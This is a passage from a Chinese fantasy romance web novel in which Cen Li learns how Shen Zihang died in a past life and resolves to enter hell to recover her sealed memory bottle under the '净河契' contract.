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朵尖都红透了,终于逗她的心思收敛了些,不管怎么说岑黎现在仍没有之前的记忆,他若是再不解释,自己在她心里怕是要成了十分猥琐的人。
“我爱上的是你。”他伸手在她面前比比划划,“你出现在我面前的时候穿着一身白衣,外面裹着一件霁蓝色的大氅,特别美,根本不像那个世间的人。当时你站在雨里,大氅都淋湿了,你脸上却没有一丝烦躁或是苦闷,反而有些欣喜。”
“然后你跑到我面前,问我,您是王爷吗,您府上缺不缺干活儿的?我就问你会干什么,你说,你会抓鱼,还会种花,种菜,还能替我解忧。当时我听着觉得荒唐,并没有把你留下的打算。”
岑黎看着他,原来之前的她也是如此直接的性格。她问:“后来为什么又把我留下了?”
沈自珩摇摇头:“我没有留你在我府上,你见我拒绝了便走了。再见面时,我在我的王府中,你在王府旁边——的树上。”
“树上?我上树干什么?”
“我也问了你在树上做什么,你说这树长得不好需要修剪,就自己爬上了树剪了杂乱的树枝,后来那棵树当真长得很好。”
岑黎拖长了音调哦了一声:“所以是这么一来二去的你就爱上我了?”
沈自珩又摇头:“不是,是看到站在雨里的你时,便喜欢了。”
但究竟是为什么,他思来想去,脑海中忽然浮现出她在雨中微微仰着头微笑的样子。
“都说了我也是到了地府才知道你就是小狐狸,也是胐朏的。不要把我想成奇怪的人。”沈自珩折起手中的布,随手搭在竹篮上,“何况当时我救下小狐狸是因为不想它被人残害。”
“我知道啦。”岑黎冲他笑笑,将手中的狐狸面捧到眼前,这件狐狸面雕的当真极好,虽没有五官,却与胐朏的神态如出一辙。
岑黎抱着狐狸面坐在溪边石头上,望着眼前潺潺流淌的溪水。
这一路上自她知道自己的身份,并且得知上一世她与沈自珩就相爱后,她就总是缠着他问前世,问他们如何相遇,如何相爱,许多时候她都听得津津有味,像在茶馆里听说书似的,停不下来。
沈自珩自然也是有问必答,都看过了往生镜,自然没必要再藏着掖着什么,他那些“不能说的事”也都是时候揭开。
只是有一件事他总是避免提及,每每岑黎要问时他就避重就轻地躲开。
“在想什么?”沈自珩坐在她身边,与她一同看着眼前的溪水。一轮圆月映在水中,晃晃悠悠,却很明亮皎洁。
“沈自珩。”岑黎不敢抬头看他,只好使劲盯着眼前的溪水,几不可闻的声音在寂静的夜色中却清晰可闻。
沈自珩应了一声,尾音里带着些许轻快。他随手摘着她衣摆上的草籽,问,“怎么?”
“你……你到地府多少年了?”
溪水流淌的哗哗声忽然显得震耳欲聋,沈自珩脸上的笑意一僵。他沉默着,给她摘草籽的手不知所措地在空中晃了晃,落回他膝上。
“你故去时,多少岁?”
一枚酸果儿掉在小溪里,咚的一声,将圆月的倒影砸得支离破碎。
71. 净河契 十
故去时多少岁?
说实话他也得好好想想。沈自珩僵硬地将视线挪开,试图岔开这话:“怎么突然想起来问这个?”
岑黎没有顺着他的话回答,只是一字一句地说着:“沈自珩,你不能说的事情真多。”
沈自珩转头看她想说些什么,就见她站起身拍了拍衣摆,他当她要走,慌忙伸手去拉。
“你明明喜欢我却不说,明知道我丢了记忆,明知道我是神兽后代,你也不说。”她躲开沈自珩伸过来的手,站到他面前。
“我们从很多年前开始便相爱,你还是不说。沈自珩,你还有什么没说的?不妨让我猜猜。上一世,是我亲眼看着你死的,对不对?人故去时是什么模样,到了地府也会是那般,所以你死的时候,也不过而立,是不是?”
她背着月光站着,肩膀有些颤抖,声音也哽咽起来。
“若我俩是陌生人,你不将这些事说出口我当你是会替人保守秘密的好人,但我们不是早就互通心意了吗?你为什么不告诉我呢,是我表现得还不够喜欢,还是你觉得我找回记忆并不重要?!”
岑黎觉得自己浑身都在发抖,声音在发抖,身体在发抖,紧握的手也在发抖。她说不好这是为什么,她担心,害怕,悲痛,这些情绪甚至大过了她应有的愤怒。
因为她惊恐地发现这些问题的答案带给她的不只是快乐。
她第一次在沈自珩面前有些崩溃。
沈自珩小心地走上前,拉过岑黎的手握在掌心,另一手抵上她紧咬着的唇:“我都跟你说,别咬自己。”
他想拉着岑黎去坐下,但岑黎不愿,脚下不挪动半分,连脸都不朝他那个方向看。他轻叹了口气,将自己的外袍脱下盖在她肩上。
“你猜得没错,你是亲眼看着我死的,那年我二十九。但过去这么多年,你若不提,我也从未再想过。那年我皇兄生了一场重病,朝堂上的事不是交给我便是交给丞相杜林,他每日躺在床上,精神好些便召杜林进宫问问近日情况,精神不好……就整日躺着,当时都在传皇位很快便要传给我了。
杜林自然也听见了,他当了许多年丞相,终是心有不甘,准备起兵造反,正巧那日他听闻我忽然进宫请旨,以为我是去要皇位的,于是将造反的计划提前,直闯入宫。”
沈自珩将自己的衣襟拉开一些,让岑黎看他胸口上的那道不长却十分清晰的疤。
“这就是他留下的,我被刺中时就有些后悔为什么没有学武。”
他的目光看向天上冰冷的月,眼神却越发缱绻。那日入宫前他问岑黎是否愿意让皇兄为他二人赐婚,岑黎想也不想便答应了。他十分惊喜,连第二日都等不到,便在深夜忽然入了宫。
“杜林那一剑刺得早了,皇兄给我们写的赐婚诏书还未写完,他偷偷召集的那些人也还未到宫门外,他终究还是没能将我皇兄从那个位置上赶下去。”他轻叹一声,“后来我记不太清了,只知道迷迷糊糊的时候觉着你握住了我的手,泪水都滴在了我的脸上。”
“你说我们相爱多年,其实我是有愧的,当时我若不那么心急也许一切都会不一样,我还能多陪你几年,但是若我没进宫,死的就是我哥哥。小黎,是我对不起你。”口中呼出的白雾在夜色中消散,他抬手拢紧了岑黎身上的袍子,继续说着。
“你问我为什么不告诉你……不是因为你不够爱我,也不是我觉得你找回记忆这件事不重要。恰好相反,小黎,是你找回记忆这件事太重要了。”
岑黎转过头看他,发现他的脸上不知何时也多添了几道泪痕。
他说:“之前在记忆库,你说如果真的找不回记忆就算了,现在也挺好的,你还记得吗?就是那时起,我决定不告诉你从前的事,我怕我将这些事情告诉你之后会让你有负担,会成为你的束缚,会让你觉得不得不去找回记忆。”
“小黎,你太善良了,连忘记别人都会让你心存愧疚,所以我用我的方式想让你不再伤心,只是我依然做错了,你比我想得更坚韧、更勇敢,我不应该自作主张。”
“原谅我吧,好不好?我保证下不为例了。”沈自珩要伸手发誓,手刚举起来就被岑黎握住。
她紧紧攥着沈自珩的手,皱着眉说他:“说你而立都是抬举了,多大人了还学小孩发誓。”
沈自珩知她心软,趁这时将她抱在怀里,吻上她额头说着软话:“上一世我先走的,留你一人在那儿受苦,对不起。”
岑黎靠在他怀里,抬手胡乱抹了把脸上的泪,指尖还沾着湿意,却忽然挣扎着要起身,目光执拗地落在他心口:“我看看……你的疤。”
“早都好透了……”他轻拍着她的后背试图拒绝,却还是被她挡住了他要拉上衣襟的手。
那道未处理的伤疤在他心口正中留下一道浅褐色的印,像是长在他胸前的一道狰狞的沟壑,那沟壑甚至并不笔直,而是有些偏斜。
她稍一想便知当时杜林下了怎样的狠手。
岑黎看着那道疤放声大哭:“那个杜林,我要去杀了他!”
沈自珩被她吓了一跳,慌忙将人搂进怀里安慰着:“他早就死了,死了好多年了。”
“真的?”岑黎的脸埋在他胸前,瓮声瓮气地说,“那也不行,我要让他下地狱!”
她喊得沈自珩心口都颤,他清了清嗓子:“他杀了许多人,已经下地狱了。”
“哦……那还差不多……”
他们在小溪前坐了一夜,回山顶时正巧碰上冉月拎着竹篮下山。
“姐姐,你去哪儿啊?”岑黎拦住她。
冉月看见她眼前一亮,伸手将她拉过来,顺便把沈自珩推到一边去:“正好,你同我一起去吧!两个人还能快些!”
“哎……去做什么啊?”岑黎一边被冉月拽着一边回头冲着沈自珩招招手,“你先回去吧!”
冉月勾着岑黎的胳膊往山下走,给她讲着一路上的花花草草,又讲到小溪里的鱼看着漂亮,但不能吃……她顿了顿,猛地转过头问:“你们昨晚没抓那里头的鱼吧?”
岑黎愣住,片刻后反应过来:“没……你
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怎么知道我们……”
冉月放下心来,摆摆手:“这还用猜吗,整座山最适合幽会的地方只有那儿了。”
说罢她又嘶了一声,托着岑黎的下巴让她转过脸,那水汪汪的眼睛看起来可是有点肿。冉月严肃起来:“他惹你生气了?还是你们吵架了?”
岑黎摇摇头:“都说开了,回头我跟你细说。”她看着眼前越来越密的林子,拉着冉月,“我们这是去哪儿?”
冉月冲她一挤眼,神秘地笑了笑:“世外桃源。”
她跟着冉月继续往密林深处走,到后面几乎要高高地抬起腿才能从茂盛的灌木中穿过去,衣摆、裤脚和鞋面上都挂着草籽和小树杈。冉月虽然已经挑了好走的路,但还是走得咬牙切齿。“前面……前面就到了……”
她伸手一挥,面前的密林变幻起来,像第一日岑黎见到的那样。
“昆仑山外有屏障,山中也有,是为了防止山外人误入的。”冉月拉着她走进去,“你们赶巧了,看看。”
冉月这句话说出口前,岑黎便已经被眼前的景色惊得愣住了。
面前是一片巨大的林子,但这里的树木几乎都高耸入云,她使劲抬头看也堪堪能看见少许树枝,其余的皆被一层薄薄的雾气遮住;树下长满了形态各异的植物,哪怕是紫色的灵起草放在其中也显得有些普通。
“这是什么地方……”岑黎对着一棵灵芝比划着,她两只手都不及这棵灵芝大!
冉月笑了笑,拉着她往前走:“净山有果园,我们昆仑山自然不能输。这里便是培育各种珍贵药材的地方,当然也不只有药材,还有给在山上住的人们吃的东西。”
她拨开一条垂荡在空中的细藤,对一个方向招了招手,一阵窸窣的声音传来,几只小猪竟是从各个方向围了上来!
岑黎蹲下身看着朝她走来的小猪,这不是当康吗!
她震惊地看向冉月,又看看小猪:“当康?!”
冉月点点头。
“我知道你们地府也有一只当康。”她对着岑黎眨眨眼。
岑黎讷讷地点头:“是啊,一名小鬼差捡……”
她忽然看向正在用鼻子轻轻拱她的小猪。
“它们是一家。”冉月笑着说,“是我看着长大的。今日让你来便是想让你跟着我一起照料它们,当然不需要喂食,只需要瞧瞧它们身上有没有伤,有伤的有没有溃烂……”
冉月把一直挎在臂弯的竹篮放在地上,发出叮叮当当的响声。她将篮子里的小瓶拿出来递给岑黎:“顺便过来给你采些药。”
“给我?我的身体没有不适啊……”
“真的吗?”冉月将躺在地上的小猪翻了个面,头也不抬地问她,“你的灵力难道不是正在慢慢消散?”
岑黎猛地抬头,脸色发白:“你是如何知道的?”
冉月伸出一根手指上下指了指她:“一看便知。而且不止我知道,你们阎王大概也知道吧。”
“你当他是为什么要让你来昆仑山?就为了你尾巴上那一撮毛?”
72. 净河契 十一
岑黎的灵力确实如冉月所说正在一点点消散,但自她那次伤重服用灵起草后,这种状况就时有发生,可过不了多久灵力又会如泉水一般注满,她便不太在意了。
“确实有,但是以往过几日就会恢复……”岑黎愣怔地看着冉月,“难道不是吗?”
冉月蹲在地上仰头看向她,十分无奈地叹了口气:“唉……你啊……”她对岑黎一抬下巴,“你在这儿化形。”
胐朏出现的瞬间,周围的小猪们都一拥而上,冉月手下的那只因为被她摁着,挣扎无果,只能躺在地上哼哼。
冉月招手让胐朏过去,抬手搓了搓它的耳朵:“你看看这毛。”又拎起它的尾巴放在它眼皮底下,“再看看这尾巴,我问你,胐朏天生的毛色是这样的吗?”
胐朏动了动耳朵。
“神兽胐朏,全身毛发除耳尖与尾巴,均为白色,耳尖与尾巴两处则为墨黑色,幼时胐朏毛发可为全白。”冉月说着又叹了一口气,“但是你现在什么记忆也没有,也不能怨你……算了,既然来这儿我就一定给你治好。”
胐朏的尾巴被松开,它甩了甩尾巴,用毛茸茸的头顶蹭了一下冉月。
也许是因为岑黎和云峤很熟悉,她对冉月也总是无条件信任。
但是她没说要喝这么难喝的药啊!
岑黎捂着鼻子缩在床上一手指着端着药碗的沈自珩,瓮声瓮气地说:“你、你先把它放桌上。”
沈自珩一挑眉,笑着摇摇头:“不行,我要看着你喝完。”
“我会喝完的。”岑黎一动不动,“等它凉一些,味道没那么难闻了我就喝。”
“不行。冉月说药趁热喝药效才好。”沈自珩说着往前走了一步,碗中的药随着他的动作摇晃了一下,浓郁的苦味散发出来。
岑黎不语,抬眼看着他。
“方才给你熬药时,玄宿过来找我,说了你的灵力为何会这样。”沈自珩不动声色地又往前走了一步。
岑黎只顾着听他说话,却没成想他的话也只说了一半,气得她往前爬了两步,跪坐起来一叉腰:“快说!”
沈自珩依旧那副嘴脸:“先喝药。”
她看着碗里的药。这药出奇地难闻,比之前喝过的灵起草还要难闻,闻上去不仅又苦又涩又呛鼻,还有着一股不似草药的怪味,连熬出来的药汤也是黑黢黢的。
岑黎捧着药碗放到嘴边,深吸一口气将药一饮而尽。
沈自珩将药碗拿走,岑黎刚想感叹觉着连呼吸中都是药的味道,嘴里就被塞进了一瓣凉凉的东西,她下意识地咬一口,一股清香在嘴里散开。
“这是什么?”岑黎问他。
“百灵花做成的药丸,也是给你补灵力的药。”沈自珩将手中的药碗放到一边,从旁边拿过一个食盒,一打开,里面放满了白色的“橘子”,再仔细一看,那些都是用磨好的药捏成的,甚至是一瓣一瓣的弯月模样,与橘子当真有些相像。
“这些与汤药一样,每日三次。”沈自珩盖上食盒,拖过桌边的椅子坐在她对面瞧着她的表情,“现在还苦吗?”
“不苦了。你刚刚说玄宿与你说了我的灵力,现在能说了吗?”她从跪着换成了盘腿坐在床上的姿势,直勾勾地盯着他。
其实平日在地府用灵力的地方并不多,即便是有鬼闹事,她一亮出管事身份,或者是亮出衣袍上的银纹,那些没见过市面的鬼就会被吓得不轻。但最近地府中的灾祸越来越多,上次更是连孟婆都受了重伤。
沈自珩的脸上不再挂着笑意,严肃起来:“我本就要同你讲的,玄宿说你的灵力与你的记忆有关。他的原话是这样的……”
玄宿背着手站在灶边,看着沈自珩往火里添了柴,他开口道:“岑黎的灵力与她的记忆有关。”
“什么意思?”
“神兽并无寿命一说,也没有前世今生,这你知道吧?意思是神兽只要不死,便会一直活下去,不会转世投胎,也不会遗忘。”玄宿看着沈自珩,“但胐朏不一样。”
“世间第一只胐朏活得并不长,用凡人的话说,是郁郁而终。它们天生就有替人消解烦恼的能力,因此被人们敬仰,依赖……和剥夺。你想想,胐朏是如何能将人的烦恼消除?直接将人的记忆消除?”
沈自珩紧皱着眉:“所以胐朏消解烦恼的能力……”
“是看了他人的烦恼后,转移到自己的身上。但它们不像人,没有轮回转世的机缘,不喝孟婆汤,不会遗忘,所以所有烦恼、痛苦,都在它们的记忆中层层堆叠,日复一日。”
“第一只胐胐死去前,拖着油尽灯枯的身躯在山神面前叩拜求告:‘愿我的后代不再受这般折磨,以我之命,换它们无忧。’”
沈自珩看着眼前低下头的岑黎,抬手摸了摸她的发顶。
他当鬼差多年,往来阴阳两界,算是看尽人间百态。在奈何桥上排队喝孟婆汤的鬼魂中,总有一些是迫不及待的,以至于拿起汤碗没有一丝犹豫便喝了下去,好像碗里装着的不是斩断前尘的孟婆汤,而是解脱苦难的甘霖。
他曾问过孟婆为何如此,孟婆抬眼看了看他,说:“你可知地狱中那些刑罚为何永远不停?因为一时的痛苦很容易遗忘,长久累积的才能压垮人,他们便是如此。有些人活了一辈子便痛苦了一辈子,他们能好端端地站在这儿,便是前世没有为非作歹,没有自寻短见之人。
他们熬到现在,有这么一碗汤,痛痛快快地喝了便能忘却一切苦痛,换作是你,你喝不喝?”
玄宿不知道在门口站了多久,忽然开口接着沈自珩的话往下说了下去:“山神虽守一方山川灵气,却不能改变胐朏天生能替人消解烦恼的能力,便只好想个折中的法子——每隔百年,胐朏的记忆便会存进记忆瓶中,连带着一缕灵力一同封存,散落在天地之间,灵力枯竭之时,记忆瓶的封印便松动了。”
他喊了一声岑黎:“自你想要找回记忆起,心中便时
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常有苦涩难耐之感了吧,这便是你封存了记忆的缘故,你的灵力时有时无也是因为记忆瓶,多存上一天,灵力便多消耗一分。”
岑黎有些勉强地冲他笑了笑:“这么听起来,为了我的灵力,这记忆瓶倒真应该取回来了。”她沉吟片刻,又开口问道,“那第一只胐朏……便消散了吗?”
“第一只胐朏的魂灵就附在最初的那只记忆瓶上。”玄宿叹了口气慢慢走远,声音悠悠地传开,“它守着世世代代胐朏封存的痛苦,也守着山神的承诺,看着它的后代们一次次封存记忆,又再承受着痛苦,无穷无尽……”
岑黎看去时已经瞧不见玄宿的身影,只能听见他留下的一问:“你的记忆瓶在地狱中,岑黎,还剩下些时间,你可以好好想想。”
想想,想什么呢?若是不拿回记忆瓶,灵力便会继续慢慢消散,她会变成一个手无缚鸡之力的鬼差,拿不起长镰的孟婆庄管事;可若是要拿回记忆瓶,她便不得不下地狱。
沈自珩始终沉默着,他不能开口,他怕一开口便是劝,劝岑黎不要取回记忆瓶,不就是没了灵力,也没什么要紧。
但她一定会想要取回来的。沈自珩看着她,她也瞧着沈自珩。
“你有没有什么建议?”岑黎问他,故作轻松地说,“我听听合不合我心意。”
见她这样,沈自珩凑过来握上她的手,安慰地捏了捏她冰凉的指尖:“去吧。”
“当真?你当真要下地狱……不是,去地狱找你的记忆瓶?”冉月看着她的表情又焦急又心疼,“不就是灵力没了,没了就没了吧,你有灵力也是杀巨兽,凭什么脏活累活都让你干啊!不行你来昆仑山算了,就住我旁边,我们天天去摘橘子吃有什么不好,你……”
冉月一气儿说了许多,最终眼含着泪停下,摸了摸她的脸颊:“早听云峤说起你时我便觉着我们一定投缘,这次在昆仑山见到你,我更是觉得你是个特别好的姑娘,也特别勇敢,取不取回记忆瓶这事儿,你自己说了算,你若是要去,便带上这个。”
她给岑黎准备了一竹篮的东西,其中有一个小小的瓷瓶,岑黎晃了晃,听着里头只有一颗药丸。
“这药丸是用好几种药材做成的,灵起草,百灵花……都是能补充灵力的药,但是药效很猛,有点像救心丸。”冉月放下瓷瓶,又拿起一面小镜子,“我听说你的虚空镜坏了,这是新的虚空镜,但比你那个厉害一点儿,能和我们传讯,你若是需要帮忙尽管找我就是。”
玄宿张了张嘴,被冉月剐了一眼,又闭上嘴点点头。
“小黎,我最后问你一遍。”冉月把竹篮推到沈自珩怀里,自己拉着岑黎的手,忧心忡忡地开口问,“你当真,要冒着危险取回记忆瓶?即便你安然无恙地将它取回来了,可你从前那些痛苦也……”
“我一定要取回来的,姐姐。”岑黎拍了拍冉月的手,视线在他们之间扫视一圈,轻笑一声,“并且……以后我都不会再封存了。”
73. 望前尘 一
一路上岑黎都欲言又止,她总觉得自己应该和沈自珩说点什么,但话到嘴边却变成了我要去洗洗手,这里可以坐……之类的无关痛痒的话,直到她看见眼前高耸入云的鬼门关。
鬼门关笼罩在一片雾气中数百年,时间久了,有关它的传言越来越多,也越来越骇人,比如上面的雾气都是死去的冤魂化成啊,鬼门关修这么高是为了能让鬼帝们走过啊,还有说鬼门关是用尸骸筑成的。
岑黎仰着头看着,笑了笑,那些传言都是假的,只有一个是真的:过了鬼门关,就进了地府。
于常年生活在地府中的鬼差们而言,鬼门关与家里的大门无甚差别,只是如今她的心情真的很复杂,过了眼前的鬼门关,紧接着她要面对的就是两个选择。
“如果我现在退缩了,选择不取回我的记忆瓶。”岑黎依旧仰着头,自言自语似的说,“阎王还会让我下地狱吗?”
接着她自己便得出了答案:“怕是不会吧,我的这些事情他早就知道了,想方设法让我去地狱,恐怕也是为了告诉我,我的记忆在地狱中。”
沈自珩转头看了她一阵,随后同她一样仰起头看着鬼门关:“若是他不让你下地狱受罚,你便不下了吗?”
“若是我说你可以不下地狱受罚,你当如何?”
薛礼从岑黎手上接过净河契看着,连带着净河契一起带回来的还有那支新制成的笔。他将笔递给站在一旁的崔珏,看向一直沉默的岑黎,轻笑一声:“若是拿不定主意,就是你心中仍在动摇,究竟要不要闯一闯这地狱,全凭你自己的意愿了。”
岑黎终于看向薛礼,开口问出了一直想问的问题:“您早就知道我的灵力不济了?”
薛礼点头。
“那我的记忆瓶在地狱中,您也早就知道?为什么?”
“什么为什么?”薛礼走上台阶的脚步停顿,转过身平静地看她。
“为什么不告诉我这些,我曾经一直以为我的记忆瓶在记忆库,我们去找您也并未阻止,就……看着我们扑空。”岑黎轻声问,“您让我去昆仑山,是早就想好的,对吗?”
薛礼没有立刻回答她,而是从台阶上慢慢走了下来,走到她面前,一旁的崔珏捏紧了手中的笔,刚想开口说些什么就被薛礼抬手制止了。
沈自珩看着崔珏投过来的眼神,也只好闭嘴。
薛礼背着手叹了口气,在殿上一边踱步一边慢慢说着:“当年第一只神兽胐朏死前向山神叩拜求告后,地府就收到了山神传来的消息,‘记忆瓶散落之处不可预想,若是投入地狱,不必干涉。’之后数百年地府也并未收到散落在此的记忆瓶……
就在我几乎要忘了这事时,你的记忆瓶落在了枉死地狱中,之后没多久你就来到了地府,当时你的灵力紊乱,带着胐朏一族的气息,我一看便知你是谁,只是胐朏一族与山神订下的契约终究是你们的事,地府不便插手。”
“今日既然说到这里,我便都告诉你吧。当年的净河契是由第一只神兽胐朏,我,与昆仑一同签下的,这净河契本是昆仑与地府间的契约,胐朏本不必牵扯其中,只是当时地府初建,下来的鬼魂怨气淤积堵了奈河。”
“奈河本就是昆仑山上流下的河水,地府中的情况他们立刻便能知晓,很快就递来消息要与地府商讨解决之法,也就是那时,胐朏找上了我。它说它具有消解烦恼之力,也许可以将它的灵力从源头昆仑山投入奈河中,消解怨气。”
薛礼抬手拂过一旁闪烁的烛火,声音又低了几分:“它随我去了昆仑,从源头投入了灵力,河中的怨气很快就被消解,一切都十分顺利,重回正轨,昆仑与地府也有心感激,问它可有什么心愿,两界会助它达成。这就是它的心愿。”
薛礼拿起净河契,在半空中松开手,那张薄薄的纸竟就在空中悬着。他抬手放出一道灵力附上,净河契的背面竟现出另一份契约。
“这才是真正的净河契。”薛礼看向岑黎,“这份契约本就是三方签下,既要重新签订,自然缺一不可。”
岑黎惊讶地看着净河契:“所以才会让我去。”
“你不妨仔细看看这份真正的契约上写的是什么。”
「胐朏乃天地灵气所化之神兽,其心单纯,昆仑与地府需为其提供栖身之所,庇护其不受邪祟侵扰;日后若有胐朏的记忆瓶投入昆仑或地府,不得伤其神魂;若想取回记忆瓶,需亲身前往。」
“若是连取回记忆瓶的苦都吃不得,那还如何承受数百年的苦楚,我不希望它们再走我的路。”薛礼读出净河契上最后一行字,“这就是当时胐朏与天地两界立下的契约。”
悬在空中的净河契逐渐隐去,薛礼站在岑黎面前瞧着她,重新问出那个问题:“若是我说你可以不下地狱受罚,你当如何?还要去地狱吗?”
岑黎一直看着净河契消失的地方,仿佛透过那张薄薄的纸望见了那只数百年前的胐朏,它受尽世间苦楚,却仍为后代寻得了一份安身立命的庇佑。
“要去啊。”岑黎说,“那只胐朏当年可以有更好的选择,它可以让昆仑或者地府庇佑,将它随便藏在什么地方,它就可以躲开无止尽的痛苦,一生都无忧无虑;又或者它可以求山神将它的记忆封存,也许没了痛苦,它就还可以多活些时日。”
“但记忆中并不只有痛苦。”岑黎低头看了看自己的手腕,内侧那道被灵力刻下的印记还在灼烧着,“还有惊喜,幸福,期待……若是我继续封存着记忆,那么等到下一个百年,你们都会被我忘记。”
岑黎站在阎王殿中间,视线从殿上每一个人的脸上扫过:她来地府见到的第一个阎王,他喜欢花,喜欢人间的零食,其实也很喜欢小动物;崔珏平日不苟言笑,但其实心很软,总是会替手下担着责罚;还有一直站在一边偷偷抹眼泪的春生,他年纪小却很有担当,心地善良,将捡到的小猪养得白白胖胖的;还有……
沈自珩。
这个比她更像狐狸的人,他聪明,喜欢谋定而后动,大概也是因为聪明,说话总能将人噎得半死,那双狐狸眼看人总是十分冷静,像是写着“事不关己”,但有危险时他却总是挡在所有人前面。
还有好多人,孟婆、云昭、谢必安、云峤、冉月、玄宿……
还有她自己。
“还有我,岑黎。我身为孟婆庄掌事,与孟婆共同执掌轮回司,奈河上的渡船、桥边的孟婆汤,河底游荡的怨灵、世间流转的魂魄,但凡属轮回司管辖,皆无纰漏。先
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前骨矛兽犯境,此番巨兽侵地府,我亦始终身先士卒,护佑地府生民。”
“我虽不是什么巾帼女杰,但也总有人为我骄傲,包括我自己。”
岑黎看向沈自珩,不出意外地与他对视了。她笑笑,沈自珩总是喜欢盯着自己,之前还有些收敛,自她袒露心意后他便肆无忌惮。
“取回记忆瓶后,即便是每日都能想起之前的烦扰和苦楚,我也总能找到为自己消解的法子。我知府君也喜欢小动物。”岑黎笑着看向薛礼,“以后若是在地府中瞧见我胐朏的模样,莫要薅我的尾巴毛。”
崔珏叹了口气,春生哭得更凶,除了岑黎只有沈自珩和薛礼笑着。
薛礼看着她,将双手往后一背,微微扬起了头:“这可说不好,若是要用到胐朏的毛呢?”
“即是身在地府,便不得不从啊。”岑黎撇着嘴抬起手腕,亮出那道印记,“这不也让您刻上了吗?”
薛礼瞪她一眼,拂过她手腕,那印记忽地一亮,又慢慢暗淡下去。“你当这是什么寻常印记?这是自由进出地狱门的通行令,有了它起码你能打开门。只是在地狱中遇到的诸般凶险,须得你自己应对,其他谁也帮不上你。”
岑黎好奇地瞧着手腕,那道印子现在倒是没什么感觉了,不疼不痒,之前的灼烧感也没有了。她点点头:“我还需要带什么东西吗?”
薛礼还没来得及回答,一旁的沈自珩着急地往前跨了一步,站到岑黎身边:“府君!我不能去吗?”
薛礼瞧他一眼,平淡地开口:“你去有什么用?你也是胐朏?”
沈自珩摇头。
“还是说你能自由进出地狱?”
沈自珩皱眉,他自然不能,但若是薛礼也能给他一个通行令不就可以了……
薛礼像是看出了他的想法,一抬掌说着:“你想都不要想。你下去干什么,是帮她吗?别以为我不知道,你打不过小黎。”
薛礼将他们赶走了,沈自珩执意要送岑黎回去,她见他不太好的脸色,也就由着他送,谁知道这一路上沈自珩都闷闷不乐,到了孟婆庄也没见好转。
岑黎关了门,转身凑上去看了看站在沙发前的沈自珩,见他不服气地转开头,她憋着笑去拉沈自珩的袖子,安抚道:“没事啊,我这也是天赋呢,毕竟是神兽……”
沈自珩扯了扯袖子,没扯动,闷闷地说:“我不是因为这个。”
“那是因为什么?”岑黎眨着眼睛歪头看他,“担心我吗?”
沈自珩点点头。
岑黎拖长了声音哦一声,松开他的袖子正色问:“你担心我,可是我们是什么关系啊?”
沈自珩错愕地转过头盯着她,她神情认真,甚至往后退了半步拉开了他们之间的距离。
“小黎?”沈自珩的声音都有些颤抖。
岑黎眨眨眼,眼中的笑意一点点弥漫:“嗯?”
面前忽然笼下一片阴影,沈自珩的唇贴上她的额头之前说话的声音还有些后怕的颤抖:“你说我们是什么关系?我皇兄给我们写了赐婚诏书,你不许忘。”
岑黎搂着他的腰点头。
“等你回来。”沈自珩轻声呢喃,温热的唇向下寻着,“等你回来……”